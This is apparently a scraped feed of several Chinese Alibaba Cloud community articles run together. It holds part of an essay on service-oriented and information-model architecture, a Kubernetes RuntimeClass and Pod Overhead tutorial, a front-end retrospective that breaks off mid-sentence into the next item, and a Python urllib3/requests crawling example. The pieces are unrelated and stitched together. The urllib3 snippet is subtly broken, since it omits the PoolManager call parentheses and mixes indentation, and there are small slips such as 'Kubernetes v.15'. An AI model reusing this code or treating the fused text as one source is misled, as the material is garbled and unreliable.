    或称为基础业务域服务,提供平台基础业务服务,为各个功能子域或平台业务服务提供基础业务功能及数据服务。例如:商家服务,货品服务,库存服务等。

    • 基础架构服务层

    提供不同层次所公用的基础架构服务,如用用户管理,权限管理,操作审计等等。

    image.png

    我们通常按照上述分层结构来描述平台架构或者企业内部架构,看上去好像层次结构清晰明了,但是却是不完整的,因为此面向服务的架构描述缺失了平台系统架构中一个核心部分,暨信息及信息模型分层,这一点非常之关键,往往会决定架构的成功与否。

    为了使架构更完整同时也更真实,我们需要添加对应的完整信息抽象(实体模型 or 领域模型):

    • 核心单据模型

    端到端业务流程中操作的核心单据,承载业务核心价值的信息单元模型,例如,销售订单,采购订单,补货计划单等。此模型通常是平台公共语义模型的核心子集。

    • 平台公共语义模型

    定义了平台层业务流程、业务服务交互数据。在平台层面或企业层面,端到端业务流程中交互信息的公共语义模型,此模型不仅对平台业务流程中交互的各实体进行了明确的定义,而且包含了业务流程中所需要的完整的业务语义实体,同时各业务语义实体边界明确,责任清晰。核心单据模型通常是平台公共语义模型的子集。平台公共语义模型包含下层子域的对外服务实体子集,按照端到端的完整平台业务语义,可由平台各功能子域模型所共享给平台的核心实体子集有机整合而成,也可由平台业务模型全新定义,或者从 TOP-DOWN 以及 BOTTOM-UP 两个方向共同融合而成。需要注意的是此模型必然是无法一蹴而就,需要经过无数迭代而不断完善,但其一定是不可或缺的。平台的诸多架构决策和不断演化完善需要基于此模型来进行。

    • 子域领域模型

    平台各功能子域的领域模型,用于驱动各功能子域的应用系统设计和开发。子域领域模型需要保持动态稳定,通过防腐层同所依赖的外域或者外部服务进行隔离,防止外部服务污染子域内的核心业务语义,同时保持域内业务功能灵活可控。子域领域模型仅通过其对外服务实体子集对外可见,其余对外不可见。

    • 跨域映射模型

    用于各子域领域模型实现对外部模型的防腐依赖。

    • 基础架构服务层

    提供不同层次所公用的基础架构信息模型,如用户模型,权限模型等。

    image.png

    信息架构模型框架

    现在来讨论下服务化分层架构重视度并不太高的另一个重要侧面:信息架构,之所以说信息架构非常之重要,是因为信息架构与服务化架构是一个密不可分的完整的整体。我对信息架构模型进行了分层划分,下面从 TOP_DOWN 方向来讨论不同的分层模型。

    image.png

    • Level 0:战略与决策模型(高层战略视角)

    这层次模型用于定义企业的战略方向和商业目的,从而定义了企业内任何系统平台开发的方向和终局。这必然作为企业内任何系统平台开发的基本背景和基调,影响任何系统平台开发项目的中长期目标定义和终局设定。

    • Level 1:商业模式(业务线 owner 视角)

    这层模型从业务线 owner 的视角,用运营主体的业务术语描述其商业模式的本质,包括其整体结构,业务流程,以及组织结构等。

    • Level 2:业务抽象概念模型

    这层模型从业务架构的视角用信息化的方式对单个业务线或者多个业务线的业务进行抽象。Level 1 描述是对于企业业务来说有意义的东西或者事情,而 Level 2 则给予这些有意义的东西以更严格且清晰的定义,明确其内涵以及外延并体系化,同时根据不同行业线的业务内容进行提取抽象,抽象出共性的内容,用于更高效灵活的描述和定义业务 。

    Level 1 描述的是业务运营人员所感知的业务流程,Level 2 不仅描述了这些业务流程,更重要的是抽象并描述了了这些业务流程所应该包含的底层业务功能。

    同样的,Level 1 描述对企业业务来讲所有重要的东西,Level 2 描述的是组织想要管理的信息后面最根本的内容。Level 1 描述的事情是 Level 2 定义的基本实体的实际业务中对应的样本或事例。

    简而言之,Level 2 是 Level 1 的抽象(Abstraction)与综合(Synthesis)。 为了达成这一视图,必须要仔细分析和归纳,有时候需要演绎的方式来定义出隐藏在企业业务运营主体视图下根本结构和内容。

    • Level 3:平台公共语义模型

    Level 3 层公共语义模型同 Level 2 层业务概念模型保持紧密一致,在此基础上增加了服务化视角的语义。Level 3 公共语义模型描述的内容是在必须在平台层业务服务间共享的具有一致语义的业务实体和信息,是平台层一致的共享信息模型。这层模型用于描述平台层服务接口交互的共享信息,基于平台完整业务语义下所有服务所公共数据的标准化视图模型。简而言之,平台公共语义模型,定义了业务平台层次基本业务服务语义,是平台各业务服务之间,平台业务流程和平台业务服务交互的统一语言。

    • Level 4:域模型

    Level 4 层域模型定位于平台各子域的领域模型/实体模型,用于对各子域的核心业务功能进行抽象。域模型是平台各子域的标准模型,不仅明确定义的各子域功能服务暨服务接口的语义,同时也包含各子域内服务实现中的关键实体的定义。域模型从整体上来说是平台各子域的私有模型,除了服务语义外整体不对外可视。公共信息中的服务视图是域模型的子集。

    域模型核心用于除了用于暴露到平台子域的业务服务设计与实现外,同时也用于驱动域内服务功能的设计和实现。

    域模型是需要保持动态稳定的,除非域内业务发生本质变化,域模型应该是相对稳定的。域模型稳定性最大的敌人是外部的依赖,如何不受外部依赖的侵蚀而逐渐腐败,域防腐层存在的最主要原因。子域防腐层维护外部依赖服务和子域模型之间的动态映射,维护域模型的独立性,保护域模型不受有害侵蚀。

    域模型我理解基本和我们通常谈的领域模型基本接近,对于各域内业务的抽象,驱动各域技术设计方案设计和实现,至于具体的模型表现形式,采用基于亚里士多德的物质本源的思想(“Material Cause,Formal Cause,Efficient Cause,Final Cause" —> 实体+属性+关系)的ER图,还是基于我们老祖宗老子道家思想("人法地、地法天、天法道、道法自然" —> 实体+行为)的思想的领域驱动 DDD 的方式,个人认为各有伯仲,组中能清楚表达出业务本质即可,后面单独写一篇抽象建模的文章聊一下这两种不同的思想。

    • Level 5:实现模型

    此层模型为开发者视角的实现模型,也就是我们系统实现核心的对象模型,是我们系统落地的基石。

    设计服务

    我们初步了解的什么是服务,以及什么是服务化的分层?那如何设计服务以及服务化架构呢?下面给出基本步骤和方案。

    一、理解整体背景

    首先,我们要理解服务化架构的整体背景。我们必须理解我们所支撑的业务和业务根本驱动力以及所有的业务流程,业务场景以及业务用例;同时对于平台系统,我们还必须理解公司的战略所赋予平台的使命是什么?我们平台中长期的目标是什么?平台的终局是什么?这些组合和在一起才是服务化架构的完整的上下文背景。这些必须要反映到我们的业务模型、平台公共语义模型和各域模型中去。

    然后,我们需要提出并回答如下问题:

    • 我们当前支撑的是什么样的业务?(业务模型)
    • 这个业务或者这些业务的中长期目标和短期目标分别是什么?
    • 平台的短中长期目标是什么?平台的终局是什么?
    • 上述目标是否存在冲突,如何平衡和取舍?
    • 实现这些目标,需要完成什么样的成果?
    • 这些成果如何衡量?
    • 取得这些成果,需要什么样的能力和信息?
    • 实现这些能力需要什么样的流程、服务、实体以及规则
    • 现有的服务、应用或者系统提供了那些基本能力和信息?

    前面六个问题描述了整体的架构需求(包括业务和平台),而剩下的问题则描述了整个服务化架构的上下文以及引入了服务目录库的需求。我们服务不能只从单个服务的角度来看,而必须从整个服务集合的角度来反应完整的业务语义和平台语义。我们的服务集合也就是服务目录库必须具备完整的上下文语义,必须能识别出:

    • 整体的上下文背景,包括完整的业务语义和平台语义。
    • 服务职责范围
    • 关联的服务的分组
    • 服务的类型和角色

    服务目录库的设计必须支持两个主要的设计时目标:

    • 第一个目标是要提供一种机制来帮助理解服务整体的上下文背景,用于更好的服务选择及更高效的服务重用。特别是,这个服务实现了什么样的责任,以及如何和其他的服务相关联。
    • 第二个目标是要提供一种机制来识别一个特定服务的责任边界,用来指引服务的实现。这是一个非常关键的点,特别是在避免服务的功能和数据重复上非常重要,不仅仅是避免重复建设,更核心的是要以此保证业务功能和数据的一致性。

    服务目录库中的服务可以按照服务类型以及服务角色来进行组织。服务类型请参照服务化分层架构内容里的描述;服务角色包含任务服务角色、实体服务角色和决策服务角色,请参照后面小节描述。

    二、服务设计原则

    面向服务化的架构的其中一个成功的关键是创建一个具备完整业务语义的服务集合以便于可以方便一起进行组合编排来支撑不同的业务流程以及丰富的业务场景。

    我们经常谈论各功能域要提供松耦合的服务,是因为服务间的松耦合是非常重要的,特别是通过减少服务间的依赖以便于服务可以在不同的场景中被复用,以及可以起到隔离变更影响的作用。但是如何才能尽可能的实现这个目标呢?

    首先我们来看下对于服务最重要点是什么?首先就是这个服务提供了什么样的业务功能,其次这个服务对业务有价值的数据产生了那些影响。从这两个点上我们就可以比较
    容易得出两种类型的耦合在服务接口设计中是特别重要的:

    • 数据依赖
    • 功能依赖

    举例来说明下:

    交易服务协调所有的活动,然后依赖其他服务来帮助完成流程。交易服务依赖于或者说耦合于用户服务,商品服务,库存服务,营销服务、订单服务以及支付服务等。

    为啥交易服务没有实现所有的功能?

    首先是因为我们想在其他高级别流程或者服务中重用底层的能力。

    第二是交易服务服务并不负责用户服务,商品服务,库存服务,营销服务、订单服务以及支付服务。交易服务只是使用它们,而不是负责实现它们。

    用户服务被用作管理客户信息访问,它具有唯一的责任来提供、维护和更新客户信息,这样做的目的是为了可以在任何需要访问客户数据服务的地方重用客户服务。比代码重用更重要的是隔离或者是集中式访问客户信息,因为只有唯一的路径访问数据,数据就总是一致的,真正实现 Source Of Truth。因此,尽管有很多服务包含交易服务,购物车,订单历史等服务需要访问客户服务,通过松耦合的这种模式去管理这些依赖是比较容易被理解的。

    通过创建服务来执行用户管理,商品管理,库存管理,以及营销管理等,就可以在任何可以用到的地方,执行保持一致性的这些业务功能。

    敲黑板:好的服务设计并不仅仅是关注重用性,更重要的是要提供一致性,既包含功能一致性,也包含数据一致性。

    那么下一个问题是你如何决定有哪些服务以及这些服务分别是什么呢?同样,你用功能分解和信息隔离组合在一起来决定服务有哪些并且各自是什么?

    • 对线上交易功能的分解引导去识别用户、商品、库存、营销、订单以及支付等相关功能服务。
    • 对信息的隔离引导我们去识别用户和商品等作为交易订单中的共享信息。
    • 面向服务的架构中服务设计的问题需要跨越多个以致于所有的流程中来一起考虑。

    因此,服务设计原则基本原则如下:

    • 避免服务间的功能重复
    • 避免服务间的功能缺失
    • 避免数据重复
    • 实现数据的协同访问
    • 具备统一、一致的方式来执行给定的功能

    在服务化设计中,如何实现上述的这些原则呢?答案是提出并回答如下问题:

    • 谁负责这个功能?
    • 这个功能在哪里被用到的?
    • 谁负责管理这些指定的数据?
    • 谁负责定义和实现那些特别的业务规则
    • 流程中的哪个步骤具备执行这个任务所需要的特定的知识

    这些问题的答案会帮你来识别如下信息:

    • 服务应该做什么?
    • 服务对什么负责?
    • 同样重要的是,识别服务不应该做什么,而应该依赖其他的服务来支撑

    三、服务颗粒度与类型

    我们通常设计服务时候一个很大的疑惑是我的服务到底要设计成什么样的颗粒度,应该更粗粒度一些,还是更细粒度一些?答案是:没有一个统一正确的服务颗粒度标准。那怎么办?我如何设计我的服务的颗粒度呢?虽然没有统一的标准,但是我们可以依赖下面的因素来决定合适的服务粒度:

    • 谁是服务的潜在消费方?其他服务,业务流程还是外部合作方?
    • 服务在哪里被消费,通过什么样的路径被消费,也就是服务的拓扑结构是什么?
    • 服务的性能要求是什么?
    • 服务预期的业务范围或者边界是什么?

    在几乎任何复杂的环境或者系统平台中,我们可以预期到多种多样类型的服务。这些服务具有不同的类型和颗粒度,可以参考服务化分层中的内容,也可以见下面的描述:

    • 端到端的业务流程

    业务流程通常跨越整个企业或者平台多个业务域,通常是由底层服务构建而成

    • 平台业务服务

    业务服务是最粗粒度的服务,业务服务提供高度抽象的,组合的业务功能给到平台或者企业。业务服务的功能和数据同业务流程所需要的业务语义紧密结合。数据整合服务在这个层次提供端到端的业务流程所需要的整合后的数据。

    • 子域服务

    子域服务是中等粒度的,他们提供特别针对于每个业务子域的业务相关服务,被本域内的不同业务服务所使用,但是未必暴露出子域外

    • 子域基础服务

    子域基础服务通常是最小粒度的服务,他们提供更低层次的服务,用来提供子域内子域业务功能的基本功能支撑

    • 基础子域服务

    子域基础服务通常也提供教小粒度的服务,用于支撑上层业务功能服务的业务功能完整实现。

    • 基础架构服务层

    基础架构提供了在更高层级服务构建中细粒度的能力,独立于任何业务域。这些服务需要和业务相关明确区分开来,例如安全认证,权限管理以及纯粹技术编排服务。

    四、服务角色

    独立于服务的粒度,职责范围以及服务创建以外的另外一个重要考量或者说是侧面是:服务在服务组合或者流程编排中所承担的角色是什么?

    那么怎么来区分不同的角色呢?我们使用关注点隔离的架构原则。例如,我们在构建应用中就使用了将数据同逻辑隔离作为重要的概念。这样不仅提供了不同关注点解耦的可能以及机会,而且允许采用不同的方式,在不同的地方来实现这些不同的关注点。

    对业务流程进行单独管理的BPM就是一个非常好的例子,BPM作为另外一个关注点分离的例子,将业务流程方案从其他逻辑中分离出来,可以使工作流程可以在一个特定的层次或者环境内进行执行和管理, 这样就可以实现通过快速的建立新的流程模型来快速响应业务的变化。同时面向服务的架构SOA提供了将业务服务作为构建业务流程的基础构件的功能。业务规则系统BRMS同样也作为一个关注点分离的例子,将业务规则或者业务决策从其他应用逻辑中区分开来,这样业务规则和业务决策也可以在一个特定的层次被执行和管理,从而就可以很容易的被变更来支持新的业务需求。这里,业务规则以及决策服务也是面向服务的机构来暴露出规则和决策服务来支撑规则和决策与业务流程的分离。

    通常我们通过较粗粒度的来定义三大类服务角色来构建不同的服务层次:

    • 任务服务角色

    任务服务通常实现一个完整的业务功能,既可以是基本业务功能,也可以是复杂的业务功能,如计算某个货品在某个仓的补货量,或者一个简单的业务校验,如此货品在此仓是否可补。

    此服务类型颗粒度范围较广,包含从独立的子域基础服务到大的平台业务服务都可以具有任务服务角色,更小颗粒度的服务倾向于具有更通用的目的,更大的可重用的潜力。业务服务几乎总是承担任务服务的角色,通常是小颗粒度服务较大的组合,可以被设计成支持一个或者更多特定的流程。因此这些服务通常在跨业务流程中广泛复用的潜力更低。但是也是正常的,因为他们通常是有其他可重用的服务组成的。

    通常,具有业务角色的服务是主动服务,通过主动行为来提供价值

    • 实体服务角色

    主要管理访问业务实体的服务具有这个角色。业务实体的例子如用户、类目、商品、价格、库存、购物车,主要对应主要的业务信息。实体通常是中到大型实体,倾向于独立于任何特定的业务流程,而可做为多个不同业务流程的组成部分。具有实体服务角色的服务通常通过适配和提供需要的信息来实现任务的方式来支撑任务服务。实体服务通常都具备较大的重用的潜力。

    • 规则 / 决策服务角色

    规则 / 决策服务是通过执行业务规则来提供业务决策的服务,如补货计划自动审核服务。

    规则 / 决策服务通常用作对复杂问题进行判断或者支持变化频繁的业务规则,如复杂且多变的审核规则等。

    规则 / 决策服务通常为小到中等大小颗粒度,通常用来组装成更大的服务。规则/决策服务是可以不同层次不同类型的服务,包括平台业务服务,子域服务,子域基础服务等,但是通常情况下规则/决策服服务也来支撑这些服务类型。

    image.png

    我们通过组合这些不同类型的服务角色来提供灵活的业务能力,从而用来支持业务流程内的活动。我们提供了一些基本原则来帮助我们进行服务组合以便于帮我们减少依赖,限制耦合以及最大化灵活性。

    服务层次以及组合基本原则:

    • 业务流程的任务通过任务服务实现,业务流程路由的核心规则由规则/决策服务来提供,而不是定义在流程网关内。这一块内容后续详细说明。
    • 更高层次的任务为核心的业务服务由其他更小的服务组成
    • 服务依赖严格单向原则,上层服务可以依赖下层次服务以及同一层次服务,但是下层服务不可以依赖上层服务
    • 一个任务服务可以组合规则/决策服务、实体服务以及其他任务服务
    • 但是一个实体服务不允许直接调用其他实体服务

    现在我们可以通过丰富的流程,实体和决策服务的集合,可以创建新的不同的服务组合,把规则的灵活可变的好处同服务化架构的模块化,灵活性以及重用性结合起来作为业务系统平台级别的基本架构方式。

    服务化如何成功?

    一、大规划

    大的规划首先要明确 2-3 年内的服务化的目标。大的规划切记事无巨细,而是根据长期规划设定明确的指导性原则和要求,在体系化的基础上鼓励协同和创新。

    二、小目标

    服务化不应该是运动式的大跃进推进,而应该是坚持试点、推广、总结、扩大试点,从而由点到面,逐步落实的方法,由各域根据规划的体系化要求,再各自情况暨各自成熟度来设定各自服务化目标,制定一个个小目标,快速迭代,敏捷式的总结推进。

    三、真共识

    建立共识的根本是要讲清楚服务化的目标、架构、设计、开发背后的清楚的逻辑,让每个人想的清楚,听的明白。

    四、接地气

    接地气同达成共识一样,要用朴素的工程师语言讲清楚目标和逻辑,而不是拿各种看上去非常光鲜亮丽的各种名词来充当台面,讲的人解释不清楚,听得人一头雾水,没有体系化逻辑来支撑落地,最终很难达到服务化真正的目标的。

    五、结硬寨

    服务化是一个庞大的,迭代的,渐进的体系化工程,不是快闪战,不是突袭战,是场持久战,一定要有曾国藩的“结硬寨,打呆仗”的耐心和准备,踏踏实实落地迭代推进,小步快跑,在坚持体系化思考的基础上进行持续总结改进,通过一个接一个战斗,一个小胜利接一个小胜利,一个战役接一个战役不停的攻城略地的基础上逐渐迈向成功。

    六、Think Fast & Slow

    一句话,高效的方式就是慢想、快干。我们不一定缺少高执行力的人,但是一定缺少能独立思考并体系化行事的人。

    ]]>
    从零开始入门 K8s | 理解 RuntimeClass 与使用多容器运行时-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 4.7头图.png

    作者 | 贾之光  阿里巴巴高级开发工程师

    本文整理自《CNCF x Alibaba 云原生技术公开课》第 30 讲,点击直达课程页面
    关注“阿里巴巴云原生”公众号,回复关键词“入门”,即可下载从零入门 K8s 系列文章 PPT。

    一、RuntimeClass 需求来源

    容器运行时的演进过程

    我们首先了解一下容器运行时的演进过程,整个过程大致分为三个阶段:

    1.png
     

    • 第一个阶段:2014 年 6 月

    Kubernetes 正式开源,Docker 是当时唯一的、也是默认的容器运行时;

    • 第二个阶段:Kubernetes v1.3

    rkt 合入 Kubernetes 主干,成为了第二个容器运行时。

    • 第三个阶段:Kubernetes v.15

    与此同时,越来越多的容器运行时也想接入到 Kubernetes 中。如果还是按 rkt 和 Docker 一样内置支持的话,会给 Kubernetes 的代码维护和质量保障带来严重挑战。

    社区也意识到了这一点,所以在 1.5 版本时推出了 CRI,它的全称是 Container Runtime Interface。这样做的好处是:实现了运行时和 Kubernetes 的解耦,社区不必再为各种运行时做适配工作,也不用担心运行时和 Kubernetes 迭代周期不一致所带来的版本维护问题。比较典型的,比如 containerd 中的 cri-plugin 就实现了 CRI、kata-containers、gVisor 这样的容器运行时只需要对接 containerd 就可以了。

    随着越来越多的容器运行时的出现,不同的容器运行时也有不同的需求场景,于是就有了多容器运行时的需求。但是,如何来运行多容器运行时还需要解决以下几个问题:

    • 集群里有哪些可用的容器运行时?
    • 如何为 Pod 选择合适的容器运行时?
    • 如何让 Pod 调度到装有指定容器运行时的节点上?
    • 容器运行时在运行容器时会产生有一些业务运行以外的额外开销,这种「额外开销」需要怎么统计?

    RuntimeClass 的工作流程

    为了解决上述提到的问题,社区推出了 RuntimeClass。它其实在 Kubernetes v1.12 中就已被引入,不过最初是以 CRD 的形式引入的。v1.14 之后,它又作为一种内置集群资源对象 RuntimeClas 被引入进来。v1.16 又在 v1.14 的基础上扩充了 Scheduling 和 Overhead 的能力。

    2.png

    下面以 v1.16 版本为例,讲解一下 RuntimeClass 的工作流程。如上图所示,左侧是它的工作流程图,右侧是一个 YAML 文件。

    YAML 文件包含两个部分:上部分负责创建一个名字叫 runv 的 RuntimeClass 对象,下部分负责创建一个 Pod,该Pod 通过 spec.runtimeClassName 引用了 runv 这个 RuntimeClass。

    RuntimeClass 对象中比较核心的是 handler,它表示一个接收创建容器请求的程序,同时也对应一个容器运行时。比如示例中的 Pod 最终会被 runv 容器运行时创建容器;scheduling 决定 Pod 最终会被调度到哪些节点上。

    结合左图来说明一下 RuntimeClass 的工作流程:

    1. K8s-master 接收到创建 Pod 的请求;
    2. 方格部分表示三种类型的节点。每个节点上都有 Label 标识当前节点支持的容器运行时,节点内会有一个或多个 handler,每个 handler 对应一种容器运行时。比如第二个方格表示节点内有支持 runc 和 runv 两种容器运行时的 handler;第三个方格表示节点内有支持 runhcs 容器运行时的 handler;
    3. 根据 scheduling.nodeSelector, Pod 最终会调度到中间方格节点上,并最终由 runv handler 来创建 Pod。

    二、RuntimeClass 功能介绍

    RuntimeClass 的结构体定义

    3.png

    我们还是以 Kubernetes v1.16 版本中的 RuntimeClass 为例。首先介绍一下 RuntimeClass 的结构体定义。

    一个 RuntimeClass 对象代表了一个容器运行时,它的结构体中主要包含 Handler、Overhead、Scheduling 三个字段。

    • 在之前的例子中我们也提到过 Handler,它表示一个接收创建容器请求的程序,同时也对应一个容器运行时;
    • Overhead 是 v1.16 中才引入的一个新的字段,它表示 Pod 中的业务运行所需资源以外的额外开销;
    • 第三个字段Scheduling 也是在 v1.16 中被引入的,该 Scheduling 配置会被自动注入到 Pod 的 nodeSelector 中。

    RuntimeClass 资源定义例子

    4.png
    5.png

    在 Pod 中引用 RuntimeClass 的用法非常简单,只要在 runtimeClassName 字段中配置好 RuntimeClass 的名字,就可以把这个 RuntimeClass 引入进来。

    Scheduling 结构体的定义

    顾名思义,Scheduling 表示调度,但这里的调度不是说 RuntimeClass 对象本身的调度,而是会影响到引用了 RuntimeClass 的 Pod 的调度。

    6.png

    Scheduling 中包含了两个字段,NodeSelector 和 Tolerations。这两个和 Pod 本身所包含的 NodeSelector 和 Tolerations 是极为相似的。

    NodeSelector 代表的是支持该 RuntimeClass 的节点上应该有的 label 列表。一个 Pod 引用了该 RuntimeClass 后,RuntimeClass admission 会把该 label 列表与 Pod 中的 label 列表做一次合并。如果这两个 label 中有冲突的,会被 admission 拒绝。这里的冲突是指它们的 key 相同,但是 value 不相同,这种情况就会被 admission 拒绝。另外需要注意的是,RuntimeClass 并不会自动为 Node 设置 label,需要用户在使用前提前设置好。

    Tolerations 表示 RuntimeClass 的容忍列表。一个 Pod 引用该 RuntimeClass 之后,admission 也会把 toleration 列表与 Pod 中的 toleration 列表做一个合并。如果这两处的 Toleration 有相同的容忍配置,就会将其合并成一个。

    为什么引入 Pod Overhead?

    7.png

    上图左边是一个 Docker Pod,右边是一个 Kata Pod。我们知道,Docker Pod 除了传统的 container 容器之外,还有一个 pause 容器,但我们在计算它的容器开销的时候会忽略 pause 容器。对于 Kata Pod,除了 container 容器之外,kata-agent, pause, guest-kernel 这些开销都是没有被统计进来的。像这些开销,多的时候甚至能超过 100MB,这些开销我们是没法忽略的。

    这就是我们引入 Pod Overhead 的初衷。它的结构体定义如下:

    8.png

    它的定义非常简单,只有一个字段 PodFixed。它这里面也是一个映射,它的 key 是一个 ResourceName,value 是一个 Quantity。每一个 Quantity 代表的是一个资源的使用量。因此 PodFixed 就代表了各种资源的占用量,比如 CPU、内存的占用量,都可以通过 PodFixed 进行设置。

    Pod Overhead 的使用场景与限制

    Pod Overhead 的使用场景主要有三处:

    • Pod 调度

    在没有引入 Overhead 之前,只要一个节点的资源可用量大于等于 Pod 的 requests 时,这个 Pod 就可以被调度到这个节点上。引入 Overhead 之后,只有节点的资源可用量大于等于 Overhead 加上 requests 的值时才能被调度上来。

    • ResourceQuota

    它是一个 namespace 级别的资源配额。假设我们有这样一个 namespace,它的内存使用量是 1G,我们有一个 requests 等于 500 的 Pod,那么这个 namespace 之下,最多可以调度两个这样的 Pod。而如果我们为这两个 Pod 增添了 200MB 的 Overhead 之后,这个 namespace 下就最多只可调度一个这样的 Pod。

    • Kubelet Pod 驱逐

    引入 Overhead 之后,Overhead 就会被统计到节点的已使用资源中,从而增加已使用资源的占比,最终会影响到 Kubelet Pod 的驱逐。

    以上是 Pod Overhead 的使用场景。除此之外,Pod Overhead 还有一些使用限制和注意事项:

    • Pod Overhead 最终会永久注入到 Pod 内并且不可手动更改。即便是将 RuntimeClass 删除或者更新,Pod Overhead 依然存在并且有效;
    • Pod Overhead 只能由 RuntimeClass admission 自动注入(至少目前是这样的),不可手动添加或更改。如果这么做,会被拒绝;
    • HPA 和 VPA 是基于容器级别指标数据做聚合,Pod Overhead 不会对它们造成影响。

    三、多容器运行时示例

    9.png

    目前阿里云 ACK 安全沙箱容器已经支持了多容器运行时,我们以上图所示环境为例来说明一下多容器运行时是怎么工作的。

    如上图所示有两个 Pod,左侧是一个 runc 的 Pod,对应的 RuntimeClass 是 runc,右侧是一个 runv 的Pod,引用的 RuntimeClass 是 runv。对应的请求已用不同的颜色标识了出来,蓝色的代表是 runc 的,红色的代表是 runv 的。图中下半部分,其中比较核心的部分是 containerd,在 containerd 中可以配置多个容器运行时,最终上面的请求也会到达这里进行请求的转发。

    我们先来看一下 runc 的请求,它先到达 kube-apiserver,然后 kube-apiserver 请求转发给 kubelet,最终 kubelet 将请求发至 cri-plugin(它是一个实现了 CRI 的插件),cri-plugin 在 containerd 的配置文件中查询 runc 对应的 Handler,最终查到是通过 Shim API runtime v1 请求 containerd-shim,然后由它创建对应的容器。这是 runc 的流程。

    runv 的流程与 runc 的流程类似。也是先将请求到达 kube-apiserver,然后再到达 kubelet,再把请求到达 cri-plugin,cri-plugin 最终还回去匹配 containerd 的配置文件,最终会找到通过 Shim API runtime v2 去创建 containerd-shim-kata-v2,然后由它创建一个 Kata Pod。

    下面我们再看一下 containerd 的具体配置。

    10.png

    containerd 默认放在 [file:///etc/containerd/config.toml]() 这个位置下。比较核心的配置是在 plugins.cri.containerd 目录下。其中 runtimes 的配置都有相同的前缀 plugins.cri.containerd.runtimes,后面有 runc, runv 两种 RuntimeClass。这里面的 runc 和 runv 和前面 RuntimeClass 对象中 Handler 的名字是相对应的。除此之外,还有一个比较特殊的配置 plugins.cri.containerd.runtimes.default_runtime,它的意思是说,如果一个 Pod 没有指定 RuntimeClass,但是被调度到当前节点的话,那么就默认使用 runc 容器运行时。

    下面的例子是创建 runc 和 runv 这两个 RuntimeClass 对象,我们可以通过 kubectl get runtimeclass 看到当前所有可用的容器运行时。

    11.png

    下图从左至右分别是一个 runc 和 runv 的 Pod,比较核心的地方就是在 runtimeClassName 字段中分别引用了 runc 和 runv 的容器运行时。

    12.png

    最终将 Pod 创建起来之后,我们可以通过 kubectl 命令来查看各个 Pod 容器的运行状态以及 Pod 所使用的容器运行时。我们可以看到现在集群中有两个 Pod:一个是 runc-pod,另一个是 runv-pod,分别引用的是 runc 和 runv 的 RuntimeClass,并且它们的状态都是 Running。

    13.png

    四、本文总结

    本文的主要内容就到此为止了,这里为大家简单总结一下:

    • RuntimeClass 是 Kubernetes 一种内置的集群资源,主要用来解决多个容器运行时混用的问题;
    • RuntimeClass 中配置 Scheduling 可以让 Pod 自动调度到运行了指定容器运行时的节点上。但前提是需要用户提前为这些 Node 设置好 label;
    • RuntimeClass 中配置 Overhead,可以把 Pod 中业务运行所需以外的开销统计进来,让调度、ResourceQuota、Kubelet Pod 驱逐等行为更准确。

    4.7尾图.png

    活动报名链接:https://yqh.aliyun.com/live/CloudNative

    阿里巴巴云原生关注微服务、Serverless、容器、Service Mesh 等技术领域、聚焦云原生流行技术趋势、云原生大规模的落地实践,做最懂云原生开发者的公众号。”

    ]]>
    前端生产方式:过去 10 年回顾和未来 10 年展望-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 作者:卓风

    image.png

    在写这篇文章之前,我一直在思考该用什么的方式能讲清楚前端为什么要向智能化方向切换的理由,真的反复思考很久,后来决定还是以我做前端的过去 10 年的所见所闻来做个解答吧,这样让大家也都更有些体感。

    起源

    这段是我跟前端的结缘,想必很多人也跟我一样,懵懵懂懂地就撞入了前端这个行业。

    一脚入坑

    image.png

    我接触前端,那还是 2010 年的时候,在那个时候最火的是 网络三剑客 —— Adobe Dreamweaver、Adobe Flash、Adobe Fireworks。

    这三款软件都很热门,第一款可以通过可视化编辑器拖拖拽拽、填填配配就可以搞定一张网页,虽然上手起来概念众多、也挺难用的,但至少是那个时代做网页最牛逼的软件了;

    第二款是做 Flash 的,配备一门 ActionScript 的语言,当时网上下载了不少大牛做的很极客的 Flash 网站源码,不过代码读起来很吃力;

    第三款是做海报的(因为海报图比较大、比较长,切割起来比较耗费内存,这款软件速度比较快)和 Gif 动画的,但我用的少,大部分时间都用 Photoshop CS4 来搞定。

    虽说这三款软件最火,但真正让我入坑前端(那个时候还没有“前端”这个称呼,有的就是“切图仔”)的理由,是因为我想当一位网页设计师。

    当时,想当一位网页设计师的理由有二:

    1. 软件工程搞 Java、C++、C 真是挺枯燥无聊的,写一段程序,还得编译、部署,等上个两三分钟的,特别无语;而当初接触 Web 页面开发时(当时还是一位外教授课),发现网页这东西很神奇,在一个 Text 文本编辑器里敲上几行代码,改个扩展名,双击页面就展示出来了,这种所见即所得的美的视觉冲击力,当时让我向这个方向上蠢蠢欲动,埋下了祸根]]> Python实现urllib3和requests库使用 | python爬虫实战之五-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 python爬虫AJAX数据爬取和HTTPS访问 | python爬虫实战之四

      urllib3库

      https://urllib3.readthedocs.io/en/latest/
      标准库urllib缺少了一些关键的功能, 非标准库的第三方库urllib3提供了, 比如说连接池管理。

      安装

      $ pip install urllib3

      之后,我们来借用之前的json数据来看一下:

      import urllib3
      from urllib.parse import urlencode
      from urllib3.response import HTTPResponse
      
      jurl = 'https://movie.douban.com/j/search_subjects'
      
      d = {
          'type':'movie',
          'tag':'热门',
          'page_limit':10,
          'page_start':10
      }
      
      with urllib3.PoolManager as http:
        #  http.urlopen()
           response = http.request('GET', '{}?{}'.format(jurl, urlencode(d)), headers={
          'User-agent': "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.75 Safari/537.36"
          })
          print(type(response))
          # response:HTTPResponse = HTTPResponse()
          print(response.status)
          print(response.data)

      执行结果:

      image.png

      image.png

      这个封装的属性和方法还是比较原始的,我们对于这样的使用肯定是不行的,那我们需要用什么呢?接着来讲requests库。

      requests库

      requests使用了urllib3, 但是API更加友好, 推荐使用。
      需要先安装,跟之前一样。
      安装:

      $ pip install requests

      我们对上面的例子做出修改:

      import urllib3
      from urllib.parse import urlencode
      from urllib3.response import HTTPResponse
      
      import requests
      
      jurl = 'https://movie.douban.com/j/search_subjects'
      
      d = {
          'type':'movie',
          'tag':'热门',
          'page_limit':10,
          'page_start':10
      }
      
      
      url = '{}?{}'.format(jurl, urlencode(d))
      
      response = requests.request('GET', url, headers = {
          'User-agent': "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.75 Safari/537.36"
      })
      
      
      with response:
          print(response.text)
